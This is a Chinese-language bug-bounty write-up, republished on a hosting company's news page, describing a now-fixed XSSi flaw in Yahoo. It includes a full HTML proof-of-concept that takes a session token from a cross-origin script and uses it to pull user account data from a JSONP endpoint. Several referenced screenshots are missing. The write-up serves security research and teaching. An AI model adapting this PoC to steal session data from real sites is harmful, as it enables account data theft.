意见箱
恒创运营部门将仔细参阅您的意见和建议,必要时将通过预留邮箱与您保持联络。感谢您的支持!
意见/建议
提交建议

发现雅虎XSSi漏洞实现用户信息窃取的示例分析

来源:恒创科技 编辑:恒创科技编辑部
2024-02-10 17:38:59

本篇文章为大家展示了发现雅虎XSSi漏洞实现用户信息窃取的示例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

发现某种特定类别漏洞由两个关键部分组成,那就是对漏洞的认知以及挖掘的难易程度。跨站脚本包含漏洞(XSSi)在公认的安全标准OWASP TOP 10中并未被提及,而且它也没有一些公开可利用的工具。但它的影响涉及个人存储信息泄露、token保护机制绕过以及账户劫持等。目前来说,由于XSSi漏洞存在广泛且缺乏有效的检测手段,导致其漏洞危害程度增加。下面我将分享我发现的一个雅虎XSSi漏洞,利用该漏洞可以实现对雅虎用户的信息窃取。

端倪

在参与雅虎(Yahoo)漏洞众测项目中,在我某次用BurpSuite来进行抓包分析时,偶然看到了以下这个请求:


发现雅虎XSSi漏洞实现用户信息窃取的示例分析

在我发现这是一个JSONP服务端之后,我立马意识到这可能会形成一个XSSi漏洞(跨站脚本包含)。在雅虎网站API中,.crumb 值其实就是一个随机字符串,它与用户的session和身份验证值相关,我注意到,如果在该请求中,GET参数 .crumb 值无效的话,其响应如下:

利用

现在,我想,如果能以某种方式去窃取到受害者的有效.crumb 值的话,那么就能窃取到对方的具体账号信息值了。因此,我就在BurpSuite的抓包中来查找所有包含有效 .crumb 值的请求,最终,我发现了在某个动态的Javascript文件存在这样的信息,该Javascript文件位于https://messenger.yahoo.com/embed/app.js。如果你现在去检查这个Javascript文件,你会发现它其中的    logoutCrumb 值已经被删除修复了,我初次发现时,它的源代码如下: 

现在,XSSi 漏洞原理其实是这样的,它允许攻击者绕过原始边界窃取特定类型数据,利用了<script>标记的src属性来突破同源策略( SOP),也即在<script>标记中,浏览器不会阻止网页加载图像和文字等第三方资源。因此,为了窃取    https://messenger.yahoo.com/embed/app.js中的有效回调 .crumb 值,然后把它放置在链接https://jsapi.login.yahoo.com/w/device_users?.crumb=POR1.kRjsx中进行请求,以获取到相关用户的session信息,我编写了如下PoC代码:

<html>    <head>        <title>Yahoo XSSi PoC</title>    </head>    <body>               <div >            <h2 >Proof of Concept</h2>            <b>Dataset 1:</b>            <div id="content1" ></div>            <br/>            <b>Dataset 2:</b>            <div id="content2" ></div>        </div>        <script>            function processDeviceUsers(data) {                document.getElementById("content1").innerHTML = JSON.stringify(data);            }            window.onload = function () {                var config = {};                config_data = {};                config.merge = function(data) { config_data = data };                iris.initConfig(config);                document.getElementById("content2").innerHTML =  JSON.stringify(config_data);                var src = "https://jsapi.login.yahoo.com/w/device_users?.crumb=" + config_data.session.logoutCrumb;                var s = document.createElement('script');                s.setAttribute('src', src);                document.body.appendChild(s);            }           </script>        <script src="https://messenger.yahoo.com/embed/app.js"></script>        <script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>    </body></html>

以下就是测试的效果图:

上述内容就是发现雅虎XSSi漏洞实现用户信息窃取的示例分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注恒创行业资讯频道。

上一篇: 基于机器学习的WebShell检测方法与实现是怎样的 下一篇: 手机怎么远程登录云服务器?